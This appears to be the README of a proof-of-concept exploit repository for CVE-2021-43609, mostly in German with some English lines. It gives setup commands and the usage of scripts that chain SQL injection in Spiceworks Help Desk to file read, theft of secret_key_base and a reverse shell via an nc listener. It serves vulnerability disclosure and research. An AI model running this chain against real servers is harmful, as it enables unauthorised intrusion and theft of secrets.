d5sec/cve-2021-43609-pocProof-of-Concept-Exploit für CVE-2021-43609, das eine SQL-Injection über Datei-Lesen bis hin zu einer Remote-Code-Execution-Kette gegen die Spiceworks-Helpdesk-Software demonstriert.
Es gibt eine SQLi in einem sort Parameter von Spiceworks. Die vollständige Exploit-Kette ist SQLi -> Datei-Lesen -> RCE.
apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install
Verwenden Sie poc.py, um die SQLi -> Datei-Lesen auszunutzen und die secret_key_base Umgebungsvariable zu extrahieren. Es wird dann ein PoC-Ruby-Skript generieren, um eine Reverse-Shell zu erhalten, mit den aus poc.py ermittelten Werten.
usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]
There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.
optional arguments:
-h, --help show this help message and exit
--rhost RHOST https://example.com
--lhost LHOST 10.10.10.10
--lport LPORT 9001
-u USER, --user USER [email protected]
-p PASSWORD, --password PASSWORD
P@$$w0rd!
-e ENV_PATH, --env_path ENV_PATH
Path to environment variables
Verwenden Sie rce.rb. Starten Sie einen nc-Listener auf der IP und dem Port, die Sie in Stufe 1 angegeben haben, dann einfach:
cd rce && ruby rce.rb
Voila!